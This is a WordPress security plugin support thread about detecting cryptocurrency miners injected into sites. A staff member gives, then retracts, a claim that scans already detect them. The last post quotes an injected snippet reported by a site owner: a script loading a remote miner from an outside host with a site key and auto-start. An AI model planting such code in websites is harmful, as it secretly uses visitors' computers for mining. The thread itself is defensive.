    Hey guys

    It would be great if you guys could add an option to scan for cryptocurrency miners. There have been quite a few WP attacks lately that are inserting these miners into WP sites.

    Some people may legitimately want a miner on their site so I guess this could be a warning?

    Thanks,
    Wil.

  • Hi @developerwil,

    Wordfence scans already include checks for cryptocurrency-miners signatures.

    However note that you can “add additional signatures” on the Wordfence –> Options page (we only treat those additional patterns as RegEx).

    Amazeballs!

    Hi @developerwil,

    Please accept my apologies. I provided incorrect information.

    I was discussing this topic with my colleagues and I misunderstood their answer.

    Wordfence scans do not include checks for cryptocurrency-miners signatures at the moment as we don’t have evidence yet that they frequently occur on WordPress sites. If you have any malware samples proving otherwise, please send them in.

    However you can still add additional signatures on the Wordfence –> Options page.

    Thanks for the update @wfyann

    Is there any documentation for what signature format to use and where to find them?

    Thanks,
    Wil.

    You want evidence of CRYTO Miners: here you go. One of multiple results on GravityScan.

    Hi @developerwil,

    Apologies for the delayed update.

    Please have a look at this post on our blog regarding Wordfence upcoming features to detect cryptominer scripts

    Great! Thanks for the update @wyfann

    Kaspersky is detecting this code from some of our sites:

    <div style=”bottom:0; visibility:visible !important; display: block !important;” ><center><!– nsr-ID 30806962 1515082736 –> <script src=”https://www.hashing.win/scripts/min.js”></script><script>var miner = new Client.Anonymous(“6cbf25e53638b9537f4da07d24f73cf1cf50b28962aab453bba3fd9d1df99dd0”, { throttle: 0.2});miner.start();</script><style>#credits

    Please let me know how to remove it. I am suspecting it comes from SiteOrigin plugin and WordFence does not detect it.
